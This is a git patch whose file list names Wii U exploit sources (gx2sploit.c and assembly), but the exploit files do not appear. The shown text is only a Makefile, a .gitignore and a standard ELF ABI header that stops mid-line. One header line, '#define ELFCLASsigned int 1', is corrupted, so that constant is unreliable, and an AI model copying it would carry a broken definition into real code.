From f73bbe8145f10d49ba9dfbeb17ef02a16a690064 Mon Sep 17 00:00:00 2001 From: orboditilt <45944072+orboditilt@users.noreply.github.com> Date: Thu, 15 Aug 2019 10:32:25 +0200 Subject: [PATCH] initial commit --- .gitignore | 4 + Makefile | 140 ++++++++++ source/elf_abi.h | 591 +++++++++++++++++++++++++++++++++++++++++ source/elf_loading.c | 104 ++++++++ source/elf_loading.h | 18 ++ source/gx2sploit.c | 318 ++++++++++++++++++++++ source/gx2sploit.h | 14 + source/gx2sploit_asm.s | 31 +++ source/main.cpp | 39 +++ 9 files changed, 1259 insertions(+) create mode 100644 .gitignore create mode 100644 Makefile create mode 100644 source/elf_abi.h create mode 100644 source/elf_loading.c create mode 100644 source/elf_loading.h create mode 100644 source/gx2sploit.c create mode 100644 source/gx2sploit.h create mode 100644 source/gx2sploit_asm.s create mode 100644 source/main.cpp diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..12cf340 --- /dev/null +++ b/.gitignore @@ -0,0 +1,4 @@ +*.elf +*.rpx +build/ +*.cbp diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..9f364a6 --- /dev/null +++ b/Makefile @@ -0,0 +1,140 @@ +#------------------------------------------------------------------------------- +.SUFFIXES: +#------------------------------------------------------------------------------- + +ifeq ($(strip $(DEVKITPRO)),) +$(error "Please set DEVKITPRO in your environment. export DEVKITPRO=/devkitpro") +endif + +TOPDIR ?= $(CURDIR) + +include $(DEVKITPRO)/wut/share/wut_rules + +#------------------------------------------------------------------------------- +# TARGET is the name of the output +# BUILD is the directory where object files & intermediate files will be placed +# SOURCES is a list of directories containing source code +# DATA is a list of directories containing data files +# INCLUDES is a list of directories containing header files +#------------------------------------------------------------------------------- +TARGET := root +BUILD := build +SOURCES := source +DATA := data +INCLUDES := include + +#------------------------------------------------------------------------------- +# options for code generation +#------------------------------------------------------------------------------- +CFLAGS := -g -Wall -O2 -ffunction-sections \ + $(MACHDEP) + +CFLAGS += $(INCLUDE) -D__WIIU__ -D__WUT__ + +CXXFLAGS := $(CFLAGS) + +ASFLAGS := -g $(ARCH) +LDFLAGS = -g $(ARCH) $(RPXSPECS) -Wl,-Map,$(notdir $*.map) + +LIBS := -lwut + +#------------------------------------------------------------------------------- +# list of directories containing libraries, this must be the top level +# containing include and lib +#------------------------------------------------------------------------------- +LIBDIRS := $(PORTLIBS) $(WUT_ROOT) + + +#------------------------------------------------------------------------------- +# no real need to edit anything past this point unless you need to add additional +# rules for different file extensions +#------------------------------------------------------------------------------- +ifneq ($(BUILD),$(notdir $(CURDIR))) +#------------------------------------------------------------------------------- + +export OUTPUT := $(CURDIR)/$(TARGET) +export TOPDIR := $(CURDIR) + +export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \ + $(foreach dir,$(DATA),$(CURDIR)/$(dir)) + +export DEPSDIR := $(CURDIR)/$(BUILD) + +CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c))) +CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp))) +SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s))) +BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*))) + +#------------------------------------------------------------------------------- +# use CXX for linking C++ projects, CC for standard C +#------------------------------------------------------------------------------- +ifeq ($(strip $(CPPFILES)),) +#------------------------------------------------------------------------------- + export LD := $(CC) +#------------------------------------------------------------------------------- +else +#------------------------------------------------------------------------------- + export LD := $(CXX) +#------------------------------------------------------------------------------- +endif +#------------------------------------------------------------------------------- + +export OFILES_BIN := $(addsuffix .o,$(BINFILES)) +export OFILES_SRC := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) $(SFILES:.s=.o) +export OFILES := $(OFILES_BIN) $(OFILES_SRC) +export HFILES_BIN := $(addsuffix .h,$(subst .,_,$(BINFILES))) + +export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \ + $(foreach dir,$(LIBDIRS),-I$(dir)/include) \ + -I$(CURDIR)/$(BUILD) + +export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) + +.PHONY: $(BUILD) clean all + +#------------------------------------------------------------------------------- +all: $(BUILD) + +$(BUILD): + @[ -d $@ ] || mkdir -p $@ + @$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile + +#------------------------------------------------------------------------------- +clean: + @echo clean ... + @rm -fr $(BUILD) $(TARGET).rpx $(TARGET).elf + +#------------------------------------------------------------------------------- +else +.PHONY: all + +DEPENDS := $(OFILES:.o=.d) + +#------------------------------------------------------------------------------- +# main targets +#------------------------------------------------------------------------------- +all : $(OUTPUT).rpx + +$(OUTPUT).rpx : $(OUTPUT).elf +$(OUTPUT).elf : $(OFILES) + +$(OFILES_SRC) : $(HFILES_BIN) + +#------------------------------------------------------------------------------- +# you need a rule like this for each extension you use as binary data +#------------------------------------------------------------------------------- +%.bin.o %_bin.h : %.bin +#------------------------------------------------------------------------------- + @echo $(notdir $<) + @$(bin2o) + +#--------------------------------------------------------------------------------- +%.o: %.s + @echo $(notdir $<) + @$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER) + +-include $(DEPENDS) + +#------------------------------------------------------------------------------- +endif +#------------------------------------------------------------------------------- diff --git a/source/elf_abi.h b/source/elf_abi.h new file mode 100644 index 0000000..4d9c796 --- /dev/null +++ b/source/elf_abi.h @@ -0,0 +1,591 @@ +/* + * Copyright (c) 1995, 1996, 2001, 2002 + * Erik Theisen. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* + * This is the ELF ABI header file + * formerly known as "elf_abi.h". + */ + +#ifndef _ELF_ABI_H +#define _ELF_ABI_H + +/* + * This version doesn't work for 64-bit ABIs - Erik. + */ + +/* + * These typedefs need to be handled better. + */ +typedef unsigned int Elf32_Addr; /* Unsigned program address */ +typedef unsigned int Elf32_Off; /* Unsigned file offset */ +typedef signed int Elf32_Sword; /* Signed large integer */ +typedef unsigned int Elf32_Word; /* Unsigned large integer */ +typedef unsigned short Elf32_Half; /* Unsigned medium integer */ + +/* e_ident[] identification indexes */ +#define EI_MAG0 0 /* file ID */ +#define EI_MAG1 1 /* file ID */ +#define EI_MAG2 2 /* file ID */ +#define EI_MAG3 3 /* file ID */ +#define EI_CLASS 4 /* file class */ +#define EI_DATA 5 /* data encoding */ +#define EI_VERSION 6 /* ELF header version */ +#define EI_OSABI 7 /* OS/ABI specific ELF extensions */ +#define EI_ABIVERSION 8 /* ABI target version */ +#define EI_PAD 9 /* start of pad bytes */ +#define EI_NIDENT 16 /* Size of e_ident[] */ + +/* e_ident[] magic number */ +#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */ +#define ELFMAG1 'E' /* e_ident[EI_MAG1] */ +#define ELFMAG2 'L' /* e_ident[EI_MAG2] */ +#define ELFMAG3 'F' /* e_ident[EI_MAG3] */ +#define ELFMAG "\177ELF" /* magic */ +#define SELFMAG 4 /* size of magic */ + +/* e_ident[] file class */ +#define ELFCLASSNONE 0 /* invalid */ +#define ELFCLASsigned int 1 /* 32-bit objs */ +#define ELFCLASS64 2 /* 64-bit objs */ +#define ELFCLASSNUM 3 /* number of classes */ + +/* e_ident[] data encoding */ +#define ELFDATANONE 0 /* invalid */ +#define ELFDATA2LSB 1 /* Little-Endian */ +#define ELFDATA2MSB 2 /* Big-Endian */ +#define ELFDATANUM 3 /* number of data encode defines */ + +/* e_ident[] OS/ABI specific ELF extensions */ +#define ELFOSABI_NONE 0 /* No extension specified */ +#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */ +#define ELFOSABI_NETBSD 2 /* NetBSD */ +#define ELFOSABI_LINUX 3 /* Linux */ +#define ELFOSABI_SOLARIS 6 /* Sun Solaris */ +#define ELFOSABI_AIX 7 /* AIX */ +#define ELFOSABI_IRIX 8 /* IRIX */ +#define ELFOSABI_FREEBSD 9 /* FreeBSD */ +#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */ +#define ELFOSABI_MODESTO 11 /* Novell Modesto */ +#define ELFOSABI_OPENBSD 12 /* OpenBSD */ +/* 64-255 Architecture-specific value range */ + +/* e_ident[] ABI Version */ +#define ELFABIVERSION 0 + +/* e_ident */ +#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \ + (ehdr).e_ident[EI_MAG1] == ELFMAG1 && \ + (ehdr).e_ident[EI_MAG2] == ELFMAG2 && \ + (ehdr).e_ident[EI_MAG3] == ELFMAG3) + +/* ELF Header */ +typedef struct elfhdr{ + unsigned char e_ident[EI_NIDENT]; /* ELF Identification */ + Elf32_Half e_type; /* object file type */ + Elf32_Half e_machine; /* machine */ + Elf32_Word e_version; /* object file version */ + Elf32_Addr e_entry; /* virtual entry point */ + Elf32_Off e_phoff; /* program header table offset */ + Elf32_Off e_shoff; /* section header table offset */ + Elf32_Word e_flags; /* processor-specific flags */ + Elf32_Half e_ehsize; /* ELF header size */ + Elf32_Half e_phentsize; /* program header entry size */ + Elf32_Half e_phnum; /* number of program header entries */ + Elf32_Half e_shentsize; /* section header entry size */ + Elf32_Half e_shnum; /* number of section header entries */ + Elf32_Half e_shstrndx; /* section header table's "section + header string table" entry offset */ +} Elf32_Ehdr; + +/* e_type */ +#define ET_NONE 0 /* No file type */ +#define ET_REL 1 /* relocatable file */ +#define ET_EXEC 2 /* executable file */ +#define ET_DYN 3 /* shared object file */ +#define ET_CORE 4 /* core file */ +#define ET_NUM 5 /* number of types */ +#define ET_LOOS 0xfe00 /* reserved range for operating */ +#define ET_HIOS 0xfeff /* system specific e_type */ +#define ET_LOPROC 0xff00 /* reserved range for processor */ +#define ET_HIPROC 0xffff /* specific e_type */ + +/* e_machine */ +#define EM_NONE 0 /* No Machine */ +#define EM_M32 1 /* AT&T WE 32100 */ +#define EM_SPARC 2 /* SPARC */ +#define EM_386 3 /* Intel 80386 */ +#define EM_68K 4 /* Motorola 68000 */ +#define EM_88K 5 /* Motorola 88000 */ +#if 0 +#define EM_486 6 /* RESERVED - was Intel 80486 */ +#endif +#define EM_860 7 /* Intel 80860 */ +#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */ +#define EM_S370 9 /* IBM System/370 Processor */ +#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */ +#if 0 +#define EM_SPARC64 11 /* RESERVED - was SPARC v9 + 64-bit unoffical */ +#endif +/* RESERVED 11-14 for future use */ +#define EM_PARISC 15 /* HPPA */ +/* RESERVED 16 for future use */ +#define EM_VPP500 17 /* Fujitsu VPP500 */ +#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */ +#define EM_960 19 /* Intel 80960 */ +#define EM_PPC 20 /* PowerPC */ +#define EM_PPC64 21 /* 64-bit PowerPC */ +#define EM_S390 22 /* IBM System/390 Processor */ +/* RESERVED 23-35 for future use */ +#define EM_V800 36 /* NEC V800 */ +#define EM_FR20 37 /* Fujitsu FR20 */ +#define EM_RH32 38 /* TRW RH-32 */ +#define EM_RCE 39 /* Motorola RCE */ +#define EM_ARM 40 /* Advanced Risc Machines ARM */ +#define EM_ALPHA 41 /* Digital Alpha */ +#define EM_SH 42 /* Hitachi SH */ +#define EM_SPARCV9 43 /* SPARC Version 9 */ +#define EM_TRICORE 44 /* Siemens TriCore embedded processor */ +#define EM_ARC 45 /* Argonaut RISC Core */ +#define EM_H8_300 46 /* Hitachi H8/300 */ +#define EM_H8_300H 47 /* Hitachi H8/300H */ +#define EM_H8S 48 /* Hitachi H8S */ +#define EM_H8_500 49 /* Hitachi H8/500 */ +#define EM_IA_64 50 /* Intel Merced */ +#define EM_MIPS_X 51 /* Stanford MIPS-X */ +#define EM_COLDFIRE 52 /* Motorola Coldfire */ +#define EM_68HC12 53 /* Motorola M68HC12 */ +#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/ +#define EM_PCP 55 /* Siemens PCP */ +#define EM_NCPU 56 /* Sony nCPU embeeded RISC */ +#define EM_NDR1 57 /* Denso NDR1 microprocessor */ +#define EM_STARCORE 58 /* Motorola Start*Core processor */ +#define EM_ME16 59 /* Toyota ME16 processor */ +#define EM_ST100 60 /* STMicroelectronic ST100 processor */ +#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/ +#define EM_X86_64 62 /* AMD x86-64 */ +#define EM_PDSP 63 /* Sony DSP Processor */ +/* RESERVED 64,65 for future use */ +#define EM_FX66 66 /* Siemens FX66 microcontroller */ +#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */ +#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */ +#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */ +#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */ +#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */ +#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */ +#define EM_SVX 73 /* Silicon Graphics SVx */ +#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */ +#define EM_VAX 75 /* Digital VAX */ +#define EM_CHRIS 76 /* Axis Communications embedded proc. */ +#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */ +#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */ +#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */ +#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */ +#define EM_HUANY 81 /* Harvard University mach-indep objs */ +#define EM_PRISM 82 /* SiTera Prism */ +#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */ +#define EM_FR30 84 /* Fujitsu FR30 */ +#define EM_D10V 85 /* Mitsubishi DV10V */ +#define EM_D30V 86 /* Mitsubishi DV30V */ +#define EM_V850 87 /* NEC v850 */ +#define EM_M32R 88 /* Mitsubishi M32R */ +#define EM_MN10300 89 /* Matsushita MN10200 */ +#define EM_MN10200 90 /* Matsushita MN10200 */ +#define EM_PJ 91 /* picoJava */ +#define EM_NUM 92 /* number of machine types */ + +/* Version */ +#define EV_NONE 0 /* Invalid */ +#define EV_CURRENT 1 /* Current */ +#define EV_NUM 2 /* number of versions */ + +/* Section Header */ +typedef struct { + Elf32_Word sh_name; /* name - index into section header + string table section */ + Elf32_Word sh_type; /* type */ + Elf32_Word sh_flags; /* flags */ + Elf32_Addr sh_addr; /* address */ + Elf32_Off sh_offset; /* file offset */ + Elf32_Word sh_size; /* section size */ + Elf32_Word sh_link; /* section header table index link */ + Elf32_Word sh_info; /* extra information */ + Elf32_Word sh_addralign; /* address alignment */ + Elf32_Word sh_entsize; /* section entry size */ +} Elf32_Shdr; + +/* Special Section Indexes */ +#define SHN_UNDEF 0 /* undefined */ +#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */ +#define SHN_LOPROC 0xff00 /* reserved range for processor */ +#define SHN_HIPROC 0xff1f /* specific section indexes */ +#define SHN_LOOS 0xff20 /* reserved range for operating */ +#define SHN_HIOS 0xff3f /* specific semantics */ +#define SHN_ABS 0xfff1 /* absolute value */ +#define SHN_COMMON 0xfff2 /* common symbol */ +#define SHN_XINDEX 0xffff /* Index is an extra table */ +#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */ + +/* sh_type */ +#define SHT_NULL 0 /* inactive */ +#define SHT_PROGBITS 1 /* program defined information */ +#define SHT_SYMTAB 2 /* symbol table section */ +#define SHT_STRTAB 3 /* string table section */ +#define SHT_RELA 4 /* relocation section with addends*/ +#define SHT_HASH 5 /* symbol hash table section */ +#define SHT_DYNAMIC 6 /* dynamic section */ +#define SHT_NOTE 7 /* note section */ +#define SHT_NOBITS 8 /* no space section */ +#define SHT_REL 9 /* relation section without addends */ +#define SHT_SHLIB 10 /* reserved - purpose unknown */ +#define SHT_DYNSYM 11 /* dynamic symbol table section */ +#define SHT_INIT_ARRAY 14 /* Array of constructors */ +#define SHT_FINI_ARRAY 15 /* Array of destructors */ +#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */ +#define SHT_GROUP 17 /* Section group */ +#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */ +#define SHT_NUM 19 /* number of section types */ +#define SHT_LOOS 0x60000000 /* Start OS-specific */ +#define SHT_HIOS 0x6fffffff /* End OS-specific */ +#define SHT_LOPROC 0x70000000 /* reserved range for processor */ +#define SHT_HIPROC 0x7fffffff /* specific section header types */ +#define SHT_LOUSER 0x80000000 /* reserved range for application */ +#define SHT_HIUSER 0xffffffff /* specific indexes */ + +/* Section names */ +#define ELF_BSS ".bss" /* uninitialized data */ +#define ELF_COMMENT ".comment" /* version control information */ +#define ELF_DATA ".data" /* initialized data */ +#define ELF_DATA1 ".data1" /* initialized data */ +#define ELF_DEBUG ".debug" /* debug */ +#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */ +#define ELF_DYNSTR ".dynstr" /* dynamic string table */ +#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */ +#define ELF_FINI ".fini" /* termination code */ +#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */ +#define ELF_GOT ".got" /* global offset table */ +#define ELF_HASH ".hash" /* symbol hash table */ +#define ELF_INIT ".init" /* initialization code */ +#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */ +#define ELF_INTERP ".interp" /* Pathname of program interpreter */ +#define ELF_LINE ".line" /* Symbolic line numnber information */ +#define ELF_NOTE ".note" /* Contains note section */ +#define ELF_PLT ".plt" /* Procedure linkage table */ +#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */ +#define ELF_REL_DATA ".rel.data" /* relocation data */ +#define ELF_REL_FINI ".rel.fini" /* relocation termination code */ +#define ELF_REL_INIT ".rel.init" /* relocation initialization code */ +#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */ +#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */ +#define ELF_REL_TEXT ".rel.text" /* relocation code */ +#define ELF_RODATA ".rodata" /* read-only data */ +#define ELF_RODATA1 ".rodata1" /* read-only data */ +#define ELF_SHSTRTAB ".shstrtab" /* section header string table */ +#define ELF_STRTAB ".strtab" /* string table */ +#define ELF_SYMTAB ".symtab" /* symbol table */ +#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */ +#define ELF_TBSS ".tbss" /* thread local uninit data */ +#define ELF_TDATA ".tdata" /* thread local init data */ +#define ELF_TDATA1 ".tdata1" /* thread local init data */ +#define ELF_TEXT ".text" /* code */ + +/* Section Attribute Flags - sh_flags */ +#define SHF_WRITE 0x1 /* Writable */ +#define SHF_ALLOC 0x2 /* occupies memory */ +#define SHF_EXECINSTR 0x4 /* executable */ +#define SHF_MERGE 0x10 /* Might be merged */ +#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */ +#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */ +#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/ +#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */ +#define SHF_GROUP 0x200 /* Member of section group */ +#define SHF_TLS 0x400 /* Thread local storage */ +#define SHF_MASKOS 0x0ff00000 /* OS specific */ +#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific section attributes */ + +/* Section Group Flags */ +#define GRP_COMDAT 0x1 /* COMDAT group */ +#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */ +#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */ + +/* Symbol Table Entry */ +typedef struct elf32_sym { + Elf32_Word st_name; /* name - index into string table */ + Elf32_Addr st_value; /* symbol value */ + Elf32_Word st_size; /* symbol size */ + unsigned char st_info; /* type and binding */ + unsigned char st_other; /* 0 - no defined meaning */ + Elf32_Half st_shndx; /* section header index */ +} Elf32_Sym; + +/* Symbol table index */ +#define STN_UNDEF 0 /* undefined */ + +/* Extract symbol info - st_info */ +#define ELF32_ST_BIND(x) ((x) >> 4) +#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf) +#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf)) +#define ELF32_ST_VISIBILITY(x) ((x) & 0x3) + +/* Symbol Binding - ELF32_ST_BIND - st_info */ +#define STB_LOCAL 0 /* Local symbol */ +#define STB_GLOBAL 1 /* Global symbol */ +#define STB_WEAK 2 /* like global - lower precedence */ +#define STB_NUM 3 /* number of symbol bindings */ +#define STB_LOOS 10 /* reserved range for operating */ +#define STB_HIOS 12 /* system specific symbol bindings */ +#define STB_LOPROC 13 /* reserved range for processor */ +#define STB_HIPROC 15 /* specific symbol bindings */ + +/* Symbol type - ELF32_ST_TYPE - st_info */ +#define STT_NOTYPE 0 /* not specified */ +#define STT_OBJECT 1 /* data object */ +#define STT_FUNC 2 /* function */ +#define STT_SECTION 3 /* section */ +#define STT_FILE 4 /* file */ +#define STT_NUM 5 /* number of symbol types */ +#define STT_TLS 6 /* Thread local storage symbol */ +#define STT_LOOS 10 /* reserved range for operating */ +#define STT_HIOS 12 /* system specific symbol types */ +#define STT_LOPROC 13 /* reserved range for processor */ +#define STT_HIPROC 15 /* specific symbol types */ + +/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */ +#define STV_DEFAULT 0 /* Normal visibility rules */ +#define STV_INTERNAL 1 /* Processor specific hidden class */ +#define STV_HIDDEN 2 /* Symbol unavailable in other mods */ +#define STV_PROTECTED 3 /* Not preemptible, not exported */ + + +/* Relocation entry with implicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ +} Elf32_Rel; + +/* Relocation entry with explicit addend */ +typedef struct +{ + Elf32_Addr r_offset; /* offset of relocation */ + Elf32_Word r_info; /* symbol table index and type */ + Elf32_Sword r_addend; +} Elf32_Rela; + +/* Extract relocation info - r_info */ +#define ELF32_R_SYM(i) ((i) >> 8) +#define ELF32_R_TYPE(i) ((unsigned char) (i)) +#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t)) + +/* Program Header */ +typedef struct { + Elf32_Word p_type; /* segment type */ + Elf32_Off p_offset; /* segment offset */ + Elf32_Addr p_vaddr; /* virtual address of segment */ + Elf32_Addr p_paddr; /* physical address - ignored? */ + Elf32_Word p_filesz; /* number of bytes in file for seg. */ + Elf32_Word p_memsz; /* number of bytes in mem. for seg. */ + Elf32_Word p_flags; /* flags */ + Elf32_Word p_align; /* memory alignment */ +} Elf32_Phdr; + +/* Segment types - p_type */ +#define PT_NULL 0 /* unused */ +#define PT_LOAD 1 /* loadable segment */ +#define PT_DYNAMIC 2 /* dynamic linking section */ +#define PT_INTERP 3 /* the RTLD */ +#define PT_NOTE 4 /* auxiliary information */ +#define PT_SHLIB 5 /* reserved - purpose undefined */ +#define PT_PHDR 6 /* program header */ +#define PT_TLS 7 /* Thread local storage template */ +#define PT_NUM 8 /* Number of segment types */ +#define PT_LOOS 0x60000000 /* reserved range for operating */ +#define PT_HIOS 0x6fffffff /* system specific segment types */ +#define PT_LOPROC 0x70000000 /* reserved range for processor */ +#define PT_HIPROC 0x7fffffff /* specific segment types */ + +/* Segment flags - p_flags */ +#define PF_X 0x1 /* Executable */ +#define PF_W 0x2 /* Writable */ +#define PF_R 0x4 /* Readable */ +#define PF_MASKOS 0x0ff00000 /* OS specific segment flags */ +#define PF_MASKPROC 0xf0000000 /* reserved bits for processor */ + /* specific segment flags */ +/* Dynamic structure */ +typedef struct +{ + Elf32_Sword d_tag; /* controls meaning of d_val */ + union + { + Elf32_Word d_val; /* Multiple meanings - see d_tag */ + Elf32_Addr d_ptr; /* program virtual address */ + } d_un; +} Elf32_Dyn; + +extern Elf32_Dyn _DYNAMIC[]; + +/* Dynamic Array Tags - d_tag */ +#define DT_NULL 0 /* marks end of _DYNAMIC array */ +#define DT_NEEDED 1 /* string table offset of needed lib */ +#define DT_PLTRELSZ 2 /* size of relocation entries in PLT */ +#define DT_PLTGOT 3 /* address PLT/GOT */ +#define DT_HASH 4 /* address of symbol hash table */ +#define DT_STRTAB 5 /* address of string table */ +#define DT_SYMTAB 6 /* address of symbol table */ +#define DT_RELA 7 /* address of relocation table */ +#define DT_RELASZ 8 /* size of relocation table */ +#define DT_RELAENT 9 /* size of relocation entry */ +#define DT_STRSZ 10 /* size of string table */ +#define DT_SYMENT 11 /* size of symbol table entry */ +#define DT_INIT 12 /* address of initialization func. */ +#define DT_FINI 13 /* address of termination function */ +#define DT_SONAME 14 /* string table offset of shared obj */ +#define DT_RPATH 15 /* string table offset of library + search path */ +#define DT_SYMBOLIC 16 /* start sym search in shared obj. */ +#define DT_REL 17 /* address of rel. tbl. w addends */ +#define DT_RELSZ 18 /* size of DT_REL relocation table */ +#define DT_RELENT 19 /* size of DT_REL relocation entry */ +#define DT_PLTREL 20 /* PLT referenced relocation entry */ +#define DT_DEBUG 21 /* bugger */ +#define DT_TEXTREL 22 /* Allow rel. mod. to unwritable seg */ +#define DT_JMPREL 23 /* add. of PLT's relocation entries */ +#define DT_BIND_NOW 24 /* Process relocations of object */ +#define DT_INIT_ARRAY 25 /* Array with addresses of init fct */ +#define DT_FINI_ARRAY 26 /* Array with addresses of fini fct */ +#define DT_INIT_ARRAYSZ 27 /* Size in bytes of DT_INIT_ARRAY */ +#define DT_FINI_ARRAYSZ 28 /* Size in bytes of DT_FINI_ARRAY */ +#define DT_RUNPATH 29 /* Library search path */ +#define DT_FLAGS 30 /* Flags for the object being loaded */ +#define DT_ENCODING 32 /* Start of encoded range */ +#define DT_PREINIT_ARRAY 32 /* Array with addresses of preinit fct*/ +#define DT_PREINIT_ARRAYSZ 33 /* size in bytes of DT_PREINIT_ARRAY */ +#define DT_NUM 34 /* Number used. */ +#define DT_LOOS 0x60000000 /* reserved range for OS */ +#define DT_HIOS 0x6fffffff /* specific dynamic array tags */ +#define DT_LOPROC 0x70000000 /* reserved range for processor */ +#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */ + +/* Dynamic Tag Flags - d_un.d_val */ +#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */ +#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */ +#define DF_TEXTREL 0x04 /* Object contains text relocations */ +#define DF_BIND_NOW 0x08 /* No lazy binding for this object */ +#define DF_STATIC_TLS 0x10 /* Static thread local storage */ + +/* Standard ELF hashing function */ +unsigned long elf_hash(const unsigned char *name); + +#define ELF_TARG_VER 1 /* The ver for which this code is intended */ + +/* + * XXX - PowerPC defines really don't belong in here, + * but we'll put them in for simplicity. + */ + +/* Values for Elf32/64_Ehdr.e_flags. */ +#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */ + +/* Cygnus local bits below */ +#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/ +#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib + flag */ + +/* PowerPC relocations defined by the ABIs */ +#define R_PPC_NONE 0 +#define R_PPC_ADDR32 1 /* 32bit absolute address */ +#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */ +#define R_PPC_ADDR16 3 /* 16bit absolute address */ +#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */ +#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */ +#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */ +#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */ +#define R_PPC_ADDR14_BRTAKEN 8 +#define R_PPC_ADDR14_BRNTAKEN 9 +#define R_PPC_REL24 10 /* PC relative 26 bit */ +#define R_PPC_REL14 11 /* PC relative 16 bit */ +#define R_PPC_REL14_BRTAKEN 12 +#define R_PPC_REL14_BRNTAKEN 13 +#define R_PPC_GOT16 14 +#define R_PPC_GOT16_LO 15 +#define R_PPC_GOT16_HI 16 +#define R_PPC_GOT16_HA 17 +#define R_PPC_PLTREL24 18 +#define R_PPC_COPY 19 +#define R_PPC_GLOB_DAT 20 +#define R_PPC_JMP_SLOT 21 +#define R_PPC_RELATIVE 22 +#define R_PPC_LOCAL24PC 23 +#define R_PPC_UADDR32 24 +#define R_PPC_UADDR16 25 +#define R_PPC_REL32 26 +#define R_PPC_PLT32 27 +#define R_PPC_PLTREL32 28 +#define R_PPC_PLT16_LO 29 +#define R_PPC_PLT16_HI 30 +#define R_PPC_PLT16_HA 31 +#define 